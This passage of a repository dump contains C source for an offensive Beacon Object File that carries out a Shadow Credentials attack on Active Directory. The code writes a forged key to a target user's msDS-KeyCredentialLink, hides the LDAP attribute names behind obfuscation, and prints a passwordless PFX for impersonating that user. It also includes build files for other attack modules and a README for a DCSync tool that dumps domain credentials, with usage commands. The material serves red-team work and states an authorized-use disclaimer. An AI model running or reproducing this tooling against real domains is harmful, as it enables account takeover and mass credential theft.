ClearKeyCredentialLink(const char* szDomain, WCHAR* wszTargetDN) {\n    LDAP* pLdap = NULL;\n    WCHAR* wszDomain = NULL;\n    LDAPModW* mods[2];\n    LDAPModW mod;\n    ULONG ulResult;\n    BOOL bSuccess = FALSE;\n    ULONG ulOff = 0;\n    WCHAR wszSamAccountName[32];\n    WCHAR wszDistinguishedName[32];\n    WCHAR wszObjectSid[16];\n    WCHAR wszKeyCredLink[32];\n\n    /* Deobfuscate attribute name */\n    GetObfuscatedStrings(wszSamAccountName, wszDistinguishedName, wszObjectSid, wszKeyCredLink);\n\n    wszDomain = (WCHAR*)malloc(256 * sizeof(WCHAR));\n    if (!wszDomain) return FALSE;\n\n    MultiByteToWideChar(CP_UTF8, 0, szDomain, -1, wszDomain, 256);\n\n    pLdap = ldap_initW(wszDomain, LDAP_PORT);\n    if (!pLdap) {\n        free(wszDomain);\n        return FALSE;\n    }\n\n    ulOff = 0;\n    ldap_set_optionW(pLdap, LDAP_OPT_REFERRALS, &ulOff);\n\n    ulResult = ldap_bind_sW(pLdap, NULL, NULL, LDAP_AUTH_NEGOTIATE);\n    if (ulResult != LDAP_SUCCESS) {\n        ldap_unbind(pLdap);\n        free(wszDomain);\n        return FALSE;\n    }\n\n    /* Clear all values by using LDAP_MOD_REPLACE with NULL */\n    WCHAR* strVals[1];\n    strVals[0] = NULL;\n\n    mod.mod_op = LDAP_MOD_REPLACE;\n    mod.mod_type = wszKeyCredLink;\n    mod.mod_vals.modv_strvals = strVals;\n\n    mods[0] = &mod;\n    mods[1] = NULL;\n\n    ulResult = ldap_modify_sW(pLdap, wszTargetDN, mods);\n    if (ulResult == LDAP_SUCCESS) {\n        bSuccess = TRUE;\n    }\n\n    ldap_unbind(pLdap);\n    free(wszDomain);\n    return bSuccess;\n}\n\n/*\n * =============================================================================\n * Certificate Generation with UPN SAN\n * =============================================================================\n */\n\n /* Forward declaration */\nstatic BYTE* BuildCertificateWithKey(HCRYPTPROV hProv, HCRYPTKEY hKey, const char* szCN,\n    const char* szUPN, const char* szSID, WCHAR* wszContainerName,\n    int* certLen, int* pfxLen);\n\nstatic BYTE* GenerateCertificateAndKey(const char* szCN, const char* szDomain, const char* szSID,\n    BYTE** ppPublicKey, int* pPublicKeyLen,\n    BYTE** ppPfx, int* pPfxLen, GUID* pDeviceId) {\n    HCRYPTPROV hProv = 0;\n    HCRYPTKEY hKey = 0;\n    WCHAR wszContainerName[64];\n    BYTE* publicKey = NULL;\n    BYTE* certData = NULL;\n    int certLen = 0;\n    char szUPN[256];\n\n    /* Generate container name */\n    CoCreateGuid(pDeviceId);\n    SWPRINTF(wszContainerName, L\"ShadowCred_%08X%04X\", pDeviceId->Data1, pDeviceId->Data2);\n\n    /* Create crypto context */\n    if (!CryptAcquireContextW(&hProv, wszContainerName, MS_ENHANCED_PROV_W, PROV_RSA_FULL, CRYPT_NEWKEYSET)) {\n        if (GetLastError() == NTE_EXISTS) {\n            if (!CryptAcquireContextW(&hProv, wszContainerName, MS_ENHANCED_PROV_W, PROV_RSA_FULL, 0)) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptAcquireContextW failed: 0x%08X\", GetLastError());\n                return NULL;\n            }\n        }\n        else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptAcquireContextW failed: 0x%08X\", GetLastError());\n            return NULL;\n        }\n    }\n\n    /* Generate 2048-bit RSA key */\n    if (!CryptGenKey(hProv, AT_KEYEXCHANGE, (2048 << 16) | CRYPT_EXPORTABLE, &hKey)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptGenKey failed: 0x%08X\", GetLastError());\n        CryptReleaseContext(hProv, 0);\n        return NULL;\n    }\n\n    /* Export public key in BCRYPT format */\n    publicKey = ExportRSAPublicKeyBCrypt(hKey, pPublicKeyLen);\n    if (!publicKey) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to export public key\");\n        CryptDestroyKey(hKey);\n        CryptReleaseContext(hProv, 0);\n        return NULL;\n    }\n    *ppPublicKey = publicKey;\n\n    /* Build UPN */\n    sprintf(szUPN, \"%s@%s\", szCN, szDomain);\n\n    /* Generate certificate with UPN SAN */\n    certData = BuildCertificateWithKey(hProv, hKey, szCN, szUPN, szSID, wszContainerName, &certLen, pPfxLen);\n    *ppPfx = certData;\n\n    CryptDestroyKey(hKey);\n    /* Don't release context - needed for certificate operations */\n\n    return publicKey;\n}\n\n/*\n * =============================================================================\n * Certificate Building with Extensions\n * =============================================================================\n */\n\nstatic BYTE* BuildCertificateWithKey(HCRYPTPROV hProv, HCRYPTKEY hKey, const char* szCN,\n    const char* szUPN, const char* szSID, WCHAR* wszContainerName,\n    int* certLen, int* pfxLen) {\n    BYTE* pbSubject = NULL;\n    DWORD cbSubject = 0;\n    char szSubjectCN[256];\n    BYTE* pbEncodedUPN = NULL;\n    DWORD cbEncodedUPN = 0;\n    CERT_OTHER_NAME otherName;\n    CERT_ALT_NAME_ENTRY altNameEntries[2];\n    CERT_ALT_NAME_INFO altNameInfo;\n    DWORD dwAltNameCount = 1;\n    BYTE* pbEncodedSAN = NULL;\n    DWORD cbEncodedSAN = 0;\n    CERT_EXTENSION extensions[1];\n    DWORD extCount = 0;\n    CERT_PUBLIC_KEY_INFO* pPubKeyInfo = NULL;\n    DWORD dwPubKeyInfoLen = 0;\n    CRYPT_ALGORITHM_IDENTIFIER sigAlgo;\n    BYTE* pbEncodedCert = NULL;\n    DWORD cbEncodedCert = 0;\n    CERT_INFO certInfo;\n    SYSTEMTIME stNow, stExpire;\n    HCERTSTORE hMemStore = NULL;\n    PCCERT_CONTEXT pCertContext = NULL;\n    CRYPT_KEY_PROV_INFO keyProvInfo;\n    CRYPT_DATA_BLOB pfxBlob;\n    BYTE* resultPfx = NULL;\n    static WCHAR wszSidUrl[256];\n\n    memset(altNameEntries, 0, sizeof(altNameEntries));\n    memset(&altNameInfo, 0, sizeof(altNameInfo));\n    memset(&certInfo, 0, sizeof(certInfo));\n    memset(&keyProvInfo, 0, sizeof(keyProvInfo));\n    memset(&pfxBlob, 0, sizeof(pfxBlob));\n    memset(&sigAlgo, 0, sizeof(sigAlgo));\n\n    /* Build subject DN */\n    sprintf(szSubjectCN, \"CN=%s\", szCN);\n    if (!CertStrToNameA(X509_ASN_ENCODING, szSubjectCN, CERT_X500_NAME_STR, NULL, NULL, &cbSubject, NULL)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CertStrToNameA size failed\");\n        return NULL;\n    }\n    pbSubject = (BYTE*)malloc(cbSubject);\n    if (!CertStrToNameA(X509_ASN_ENCODING, szSubjectCN, CERT_X500_NAME_STR, NULL, pbSubject, &cbSubject, NULL)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CertStrToNameA failed\");\n        free(pbSubject);\n        return NULL;\n    }\n\n    /* Build SAN extension with UPN */\n    {\n        DWORD upnLen = (DWORD)strlen(szUPN);\n        DWORD totalLen = (upnLen < 128) ? (2 + upnLen) : (4 + upnLen);\n        BYTE* p;\n\n        cbEncodedUPN = totalLen;\n        pbEncodedUPN = (BYTE*)malloc(cbEncodedUPN);\n        p = pbEncodedUPN;\n        *p++ = 0x0C;  /* UTF8String */\n        if (upnLen < 128) {\n            *p++ = (BYTE)upnLen;\n        }\n        else {\n            *p++ = 0x82;\n            *p++ = (BYTE)(upnLen >> 8);\n            *p++ = (BYTE)(upnLen & 0xFF);\n        }\n        memcpy(p, szUPN, upnLen);\n    }\n\n    otherName.pszObjId = (LPSTR)szOID_NT_PRINCIPAL_NAME;\n    otherName.Value.cbData = cbEncodedUPN;\n    otherName.Value.pbData = pbEncodedUPN;\n\n    altNameEntries[0].dwAltNameChoice = CERT_ALT_NAME_OTHER_NAME;\n    altNameEntries[0].pOtherName = &otherName;\n    dwAltNameCount = 1;\n\n    /* Add SID URL for KB5014754 strong mapping if provided */\n    if (szSID && szSID[0]) {\n        char szSidUrl[256];\n        sprintf(szSidUrl, \"tag:microsoft.com,2022-09-14:sid:%s\", szSID);\n        MultiByteToWideChar(CP_UTF8, 0, szSidUrl, -1, wszSidUrl, 256);\n\n        altNameEntries[1].dwAltNameChoice = CERT_ALT_NAME_URL;\n        altNameEntries[1].pwszURL = wszSidUrl;\n        dwAltNameCount = 2;\n    }\n\n    altNameInfo.cAltEntry = dwAltNameCount;\n    altNameInfo.rgAltEntry = altNameEntries;\n\n    if (!CryptEncodeObjectEx(X509_ASN_ENCODING, szOID_SUBJECT_ALT_NAME2, &altNameInfo,\n        CRYPT_ENCODE_ALLOC_FLAG, NULL, &pbEncodedSAN, &cbEncodedSAN)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to encode SAN: 0x%08X\", GetLastError());\n        free(pbSubject);\n        free(pbEncodedUPN);\n        return NULL;\n    }\n\n    extensions[extCount].pszObjId = (LPSTR)szOID_SUBJECT_ALT_NAME2;\n    extensions[extCount].fCritical = FALSE;\n    extensions[extCount].Value.cbData = cbEncodedSAN;\n    extensions[extCount].Value.pbData = pbEncodedSAN;\n    extCount++;\n\n    /* Get public key info */\n    CryptExportPublicKeyInfo(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING, NULL, &dwPubKeyInfoLen);\n    pPubKeyInfo = (CERT_PUBLIC_KEY_INFO*)malloc(dwPubKeyInfoLen);\n    if (!CryptExportPublicKeyInfo(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING, pPubKeyInfo, &dwPubKeyInfoLen)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptExportPublicKeyInfo failed\");\n        goto cleanup;\n    }\n\n    /* Build certificate info */\n    GetSystemTime(&stNow);\n    stExpire = stNow;\n    stExpire.wYear += 1;\n\n    certInfo.dwVersion = CERT_V3;\n    certInfo.SerialNumber.cbData = 16;\n    certInfo.SerialNumber.pbData = (BYTE*)malloc(16);\n    CryptGenRandom(hProv, 16, certInfo.SerialNumber.pbData);\n\n    sigAlgo.pszObjId = (LPSTR)szOID_RSA_SHA256RSA;\n    certInfo.SignatureAlgorithm = sigAlgo;\n\n    certInfo.Issuer.cbData = cbSubject;\n    certInfo.Issuer.pbData = pbSubject;\n\n    SystemTimeToFileTime(&stNow, &certInfo.NotBefore);\n    SystemTimeToFileTime(&stExpire, &certInfo.NotAfter);\n\n    certInfo.Subject.cbData = cbSubject;\n    certInfo.Subject.pbData = pbSubject;\n\n    certInfo.SubjectPublicKeyInfo = *pPubKeyInfo;\n\n    certInfo.cExtension = extCount;\n    certInfo.rgExtension = extensions;\n\n    /* Sign and encode certificate */\n    if (!CryptSignAndEncodeCertificate(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING,\n        X509_CERT_TO_BE_SIGNED, &certInfo, &sigAlgo,\n        NULL, NULL, &cbEncodedCert)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptSignAndEncodeCertificate size failed: 0x%08X\", GetLastError());\n        goto cleanup;\n    }\n\n    pbEncodedCert = (BYTE*)malloc(cbEncodedCert);\n    if (!CryptSignAndEncodeCertificate(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING,\n        X509_CERT_TO_BE_SIGNED, &certInfo, &sigAlgo,\n        NULL, pbEncodedCert, &cbEncodedCert)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CryptSignAndEncodeCertificate failed: 0x%08X\", GetLastError());\n        goto cleanup;\n    }\n\n    *certLen = cbEncodedCert;\n\n    /* Create memory store and add certificate */\n    hMemStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, 0, CERT_STORE_CREATE_NEW_FLAG, NULL);\n    if (!hMemStore) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CertOpenStore failed\");\n        goto cleanup;\n    }\n\n    pCertContext = CertCreateCertificateContext(X509_ASN_ENCODING, pbEncodedCert, cbEncodedCert);\n    if (!pCertContext) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] CertCreateCertificateContext failed\");\n        goto cleanup;\n    }\n\n    /* Add cert to store first, then associate private key with the store copy */\n    {\n        PCCERT_CONTEXT pStoreCert = NULL;\n        if (!CertAddCertificateContextToStore(hMemStore, pCertContext, CERT_STORE_ADD_ALWAYS, &pStoreCert)) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] CertAddCertificateContextToStore failed\");\n            goto cleanup;\n        }\n\n        /* Associate private key with the container name we created */\n        keyProvInfo.pwszContainerName = wszContainerName;  /* Use the container name from key generation */\n        keyProvInfo.pwszProvName = MS_ENHANCED_PROV_W;\n        keyProvInfo.dwProvType = PROV_RSA_FULL;\n        keyProvInfo.dwFlags = 0;\n        keyProvInfo.cProvParam = 0;\n        keyProvInfo.rgProvParam = NULL;\n        keyProvInfo.dwKeySpec = AT_KEYEXCHANGE;\n\n        if (!CertSetCertificateContextProperty(pStoreCert, CERT_KEY_PROV_INFO_PROP_ID, 0, &keyProvInfo)) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] CertSetCertificateContextProperty failed: 0x%08X\", GetLastError());\n        }\n\n        CertFreeCertificateContext(pStoreCert);\n    }\n\n    /* Export to PFX */\n    pfxBlob.pbData = NULL;\n    pfxBlob.cbData = 0;\n\n    if (!PFXExportCertStoreEx(hMemStore, &pfxBlob, L\"\", NULL, EXPORT_PRIVATE_KEYS)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] PFXExportCertStoreEx size failed\");\n        goto cleanup;\n    }\n\n    pfxBlob.pbData = (BYTE*)malloc(pfxBlob.cbData);\n    if (!PFXExportCertStoreEx(hMemStore, &pfxBlob, L\"\", NULL, EXPORT_PRIVATE_KEYS)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] PFXExportCertStoreEx failed\");\n        goto cleanup;\n    }\n\n    *pfxLen = pfxBlob.cbData;\n    resultPfx = pfxBlob.pbData;\n\ncleanup:\n    if (certInfo.SerialNumber.pbData) free(certInfo.SerialNumber.pbData);\n    if (pbSubject) free(pbSubject);\n    if (pbEncodedUPN) free(pbEncodedUPN);\n    if (pbEncodedSAN) LocalFree(pbEncodedSAN);\n    if (pPubKeyInfo) free(pPubKeyInfo);\n    if (pbEncodedCert && !resultPfx) free(pbEncodedCert);\n    if (pCertContext) CertFreeCertificateContext(pCertContext);\n    if (hMemStore) CertCloseStore(hMemStore, 0);\n    /* Don't free keyProvInfo.pwszContainerName - it points to caller's buffer */\n\n    return resultPfx;\n}\n\nvoid go(char* args, int alen)\n{\n    char* szTarget = NULL;\n    char* szDomain = NULL;\n    WCHAR wszTargetDN[512] = { 0 };\n    BYTE* pbUserSID = NULL;\n    DWORD dwUserSIDLen = 0;\n    char szSIDString[128] = { 0 };\n    BYTE* pbPublicKey = NULL;\n    int nPublicKeyLen = 0;\n    BYTE* pbPfx = NULL;\n    int nPfxLen = 0;\n    BYTE* pbKeyCredBlob = NULL;\n    int nKeyCredBlobLen = 0;\n    GUID deviceId;\n    short bNoWrite = 0;\n    short bClear = 0;\n    char domainBuf[256] = {0};\n\n    /* Parse arguments */\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    szTarget = BeaconDataExtract(&parser, NULL);\n    szDomain = BeaconDataExtract(&parser, NULL);\n    bNoWrite = BeaconDataShort(&parser);\n    bClear   = BeaconDataShort(&parser);\n\n    if (!szTarget || !szTarget[0]) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Usage: certi_shadow --target <user> [--domain <domain>]\");\n        return;\n    }\n\n    /* Auto-detect domain if not provided */\n    if (!szDomain || !szDomain[0]) {\n        WCHAR wszDomain[256] = {0};\n        DWORD dwSize = 256;\n        /* ComputerNameDnsDomain = 2 */\n        if (GetComputerNameExW(2, wszDomain, &dwSize) && wszDomain[0]) {\n            WideCharToMultiByte(CP_UTF8, 0, wszDomain, -1, domainBuf, sizeof(domainBuf), NULL, NULL);\n            szDomain = domainBuf;\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Auto-detected domain: %s\", szDomain);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to auto-detect domain. Please specify --domain\");\n            return;\n        }\n    }\n\n    if (bClear) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Clearing Shadow Credentials: %s@%s\", szTarget, szDomain);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Shadow Credentials: %s@%s\", szTarget, szDomain);\n    }\n\n    /* Save domain for cleanup */\n    {\n        int di;\n        for (di = 0; di < 255 && szDomain[di]; di++) {\n            g_szDomain[di] = szDomain[di];\n        }\n        g_szDomain[di] = '\\0';\n    }\n\n    /* Initialize COM */\n    CoInitializeEx(NULL, 0);\n\n    /* Step 1: Lookup target DN and SID */\n    if (!LookupUserDNAndSID(szTarget, szDomain, wszTargetDN, 512, &pbUserSID, &dwUserSIDLen)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to lookup target\");\n        goto cleanup;\n    }\n\n    /* Save target DN for cleanup */\n    wcscpy(g_wszTargetDN, wszTargetDN);\n\n    /* If --clear mode, just clear and exit */\n    if (bClear) {\n        if (ClearKeyCredentialLink(szDomain, wszTargetDN)) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] msDS-KeyCredentialLink cleared successfully!\");\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to clear msDS-KeyCredentialLink\");\n        }\n        goto cleanup;\n    }\n\n    /* Convert SID to string for certificate */\n    if (pbUserSID && dwUserSIDLen > 0) {\n        LPSTR pszSid = NULL;\n        if (ConvertSidToStringSidA((PSID)pbUserSID, &pszSid)) {\n            strcpy(szSIDString, pszSid);\n            LocalFree(pszSid);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Target SID: %s\", szSIDString);\n        }\n    }\n\n    /* Step 2: Generate keypair and certificate */\n    if (!GenerateCertificateAndKey(szTarget, szDomain, szSIDString,\n        &pbPublicKey, &nPublicKeyLen,\n        &pbPfx, &nPfxLen, &deviceId)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to generate certificate\");\n        goto cleanup;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Generated RSA keypair (2048-bit)\");\n\n    /* Save device ID for display */\n    memcpy(&g_deviceId, &deviceId, sizeof(GUID));\n\n    /* Step 3: Build KeyCredential blob */\n    pbKeyCredBlob = BuildKeyCredentialBlob(pbPublicKey, nPublicKeyLen, &deviceId, &nKeyCredBlobLen);\n    if (!pbKeyCredBlob) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to build KeyCredential blob\");\n        goto cleanup;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Built KeyCredential blob\");\n\n    /* Step 4: Write to msDS-KeyCredentialLink (unless --no-write) */\n    if (!bNoWrite) {\n        if (!WriteKeyCredentialLink(szDomain, wszTargetDN, pbKeyCredBlob, nKeyCredBlobLen)) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Failed to write msDS-KeyCredentialLink\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"[!] You may need GenericWrite/GenericAll on target\");\n            goto cleanup;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Wrote msDS-KeyCredentialLink successfully!\");\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Skipping msDS-KeyCredentialLink write (--no-write)\");\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] DeviceID: {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\",\n        deviceId.Data1, deviceId.Data2, deviceId.Data3,\n        deviceId.Data4[0], deviceId.Data4[1], deviceId.Data4[2], deviceId.Data4[3],\n        deviceId.Data4[4], deviceId.Data4[5], deviceId.Data4[6], deviceId.Data4[7]);\n\n    /* Step 5: Output PFX */\n    {\n        DWORD b64Len = 0;\n        CryptBinaryToStringA(pbPfx, nPfxLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &b64Len);\n        char* b64 = (char*)malloc(b64Len + 1);\n        CryptBinaryToStringA(pbPfx, nPfxLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, b64, &b64Len);\n\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] PFX (base64, no password):\\n\\n%s\\n\", b64);\n\n        free(b64);\n    }\n\ncleanup:\n    if (pbUserSID) free(pbUserSID);\n    if (pbPublicKey) free(pbPublicKey);\n    if (pbPfx) free(pbPfx);\n    if (pbKeyCredBlob) free(pbKeyCredBlob);\n\n    CoUninitialize();\n}\n"
  },
  {
    "path": "AD-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(AD-BOF C)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories\ninclude_directories(\n    ${CMAKE_SOURCE_DIR}/_include\n#    ${CMAKE_CURRENT_SOURCE_DIR}/Kerbeus-BOF/_include\n#    ${CMAKE_CURRENT_SOURCE_DIR}/SQL-BOF/common\n#    ${CMAKE_CURRENT_SOURCE_DIR}/LDAP-BOF/_include\n#    ${CMAKE_CURRENT_SOURCE_DIR}/LDAP-BOF/src/common\n)\n\n# Source files\nset(LDAPSEARCH_SOURCES ldapsearch/ldapsearch.c)\nset(ADWSSEARCH_SOURCES adwssearch/adws_search.c)\nset(READLAPS_SOURCES readlaps/readlaps.c)\nset(BADTAKEOVER_SOURCES badtakeover/BadTakeover.c)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -masm=intel -DBOF\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(ldapsearch OBJECT ${LDAPSEARCH_SOURCES})\nadd_library(adws_search OBJECT ${ADWSSEARCH_SOURCES})\nadd_library(readlaps OBJECT ${READLAPS_SOURCES})\n\n# BadTakeover with special flags\nadd_library(badtakeover OBJECT ${BADTAKEOVER_SOURCES})\ntarget_compile_options(badtakeover PRIVATE\n    -fno-asynchronous-unwind-tables\n    -nostdlib\n    -fno-ident\n    -fpack-struct=8\n    -falign-functions=1\n    -ffunction-sections\n    -falign-jumps=1\n    -Wall\n)\n\n# Subdirectories\n# add_subdirectory(ADCS-BOF)\nadd_subdirectory(Kerbeus-BOF)\nadd_subdirectory(SQL-BOF)\nadd_subdirectory(LDAP-BOF)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom targets to copy object files to _bin (using custom_target instead of custom_command for OBJECT libraries)\nadd_custom_target(copy_ldapsearch ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:ldapsearch> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/ldapsearch.x64.o\n    DEPENDS ldapsearch\n    COMMENT \"Copying ldapsearch object file\"\n)\n\nadd_custom_target(copy_adws_search ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:adws_search> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/adws_search.x64.o\n    DEPENDS adws_search\n    COMMENT \"Copying adws_search object file\"\n)\n\nadd_custom_target(copy_readlaps ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:readlaps> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/readlaps.x64.o\n    DEPENDS readlaps\n    COMMENT \"Copying readlaps object file\"\n)\n\nadd_custom_target(copy_badtakeover ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:badtakeover> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/badtakeover.x64.o\n    DEPENDS badtakeover\n    COMMENT \"Copying badtakeover object file\"\n)\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2025 Polar\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/Makefile",
    "content": "CC = x86_64-w64-mingw32-gcc\nLD = x86_64-w64-mingw32-ld\nSTRIP = x86_64-w64-mingw32-strip\n\nCFLAGS_BASE = -I. -Os -masm=intel -fno-stack-protector -mno-stack-arg-probe -DBOF -Wall -Wno-format -D_M_AMD64 -Wno-unused-variable -Wno-unknown-pragmas -Wno-missing-braces -Wno-builtin-macro-redefined\nCFLAGS_RELEASE = $(CFLAGS_BASE) -DNDEBUG\nLDFLAGS = -r\n\nCFLAGS = $(CFLAGS_RELEASE)\nRPC_STUB = drsuapi/ms-drsr-custom.c\n\nall: both\n\nboth: clean single-user all-users\n\nsingle-user: CFLAGS = $(CFLAGS_RELEASE)\nsingle-user: RPC_STUB = drsuapi/ms-drsr-custom.c\nsingle-user: SRC_FILE = src/dcsync-single.c\nsingle-user: bof-single\n\t@echo '[+] dcsync single'\n\nall-users: CFLAGS = $(CFLAGS_RELEASE)\nall-users: RPC_STUB = drsuapi/ms-drsr-custom.c\nall-users: SRC_FILE = src/dcsync-all.c\nall-users: bof-all\n\t@echo '[+] dcsync all'\n\nbof-single:\n\t@[ -d \"_bin\" ] || { mkdir -p \"_bin\"; }\n\t@$(CC) $(CFLAGS) -c util/rpc-adapter.c -o _bin/rpc-adapter-single.o\n\t@$(CC) $(CFLAGS) -c $(RPC_STUB) -o _bin/ms-drsr_c-single.o\n\t@$(CC) $(CFLAGS) -c $(SRC_FILE) -o _bin/dcsync-single-temp.o\n\t@$(LD) $(LDFLAGS) _bin/rpc-adapter-single.o _bin/ms-drsr_c-single.o _bin/dcsync-single-temp.o -o _bin/dcsync-single.x64.o\n\t@$(STRIP) --strip-unneeded _bin/dcsync-single.x64.o\n\t@rm -f _bin/rpc-adapter-single.o _bin/ms-drsr_c-single.o _bin/dcsync-single-temp.o\n\nbof-all:\n\t@[ -d \"_bin\" ] || { mkdir -p \"_bin\"; }\n\t@$(CC) $(CFLAGS) -c util/rpc-adapter.c -o _bin/rpc-adapter-all.o\n\t@$(CC) $(CFLAGS) -c $(RPC_STUB) -o _bin/ms-drsr_c-all.o\n\t@$(CC) $(CFLAGS) -c $(SRC_FILE) -o _bin/dcsync-all-temp.o\n\t@$(LD) $(LDFLAGS) _bin/rpc-adapter-all.o _bin/ms-drsr_c-all.o _bin/dcsync-all-temp.o -o _bin/dcsync-all.x64.o\n\t@$(STRIP) --strip-unneeded _bin/dcsync-all.x64.o\n\t@rm -f _bin/rpc-adapter-all.o _bin/ms-drsr_c-all.o _bin/dcsync-all-temp.o\n\nclean:\n\t@rm -rf _bin\n\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/README.md",
    "content": "# DCSync BOF\n\nA Beacon Object File (BOF) implementation of the DCSync attack for extracting credential material from Active Directory domain controllers.\n\n### Features\n\n- Single User Targeting - Extract credentials for a specific domain user\n- Bulk Extraction - Dump all users from a domain or organizational unit\n- Flexible LDAP Options - Support for custom DCs, OUs, and LDAPS connections\n\n## Usage\n\n### Command Reference\n\n| Command   | Description                               | Usage                                                        |\n|-----------|-------------------------------------------|--------------------------------------------------------------|\n| `single`  | Extract credentials for a specific user   | `dcsync single <target> [-ou <path>] [-dc <fqdn>] [--ldaps]` |\n| `all`     | Extract credentials for all domain users  | `dcsync all [-ou <path>] [-dc <fqdn>] [--ldaps]`             |\n\n### Examples\n\nExtract credentials for a single user:\n```sh\ndcsync single jane.doe\n```\n\nSearch for target user in a specific OU using LDAPS:\n```sh\ndcsync single john.smith -ou \"OU=Admins,DC=corp,DC=local\" --ldaps\n```\n\nDump all users from the domain:\n```sh\ndcsync all\n```\n\nTarget a specific domain controller:\n```sh\ndcsync all -dc dc01.corp.local\n```\n\n## Credits\n\nThis project builds upon research and code from:\n- [DCSyncer](https://github.com/notsoshant/DCSyncer)\n- [DCsyncer Write-up](https://www.notsoshant.io/tools/dcsyncer/)\n- [Mimikatz](https://github.com/gentilkiwi/mimikatz)\n\n## Authors Note\n\nMimikatz and similar programs parse supplemental credentials for offsets, then map to a struct to extract AES keys. This project identifies the salt then uses heuristic detection to locate and extract the AES keys. There will always be edge cases where this approach won't work, however I have yet to encounter a case like that in testing. I have also run into situations where accounts didn't actually have any supplemental credentials, so if you do encounter such an edge case I ask that you test with a different tool, such as impacket's secretsdump, before creating an issue. At the very least it should always return the nthash of the target user.\n\n## Disclaimer\n\nFor Authorized Use Only - Unauthorized access to computer systems is illegal. This tool should only be used in environments where you have explicit permission to conduct security testing.\n"
  },
  {
    "path": "AD-BOF/DCSync-BOF/_include/beacon.h",
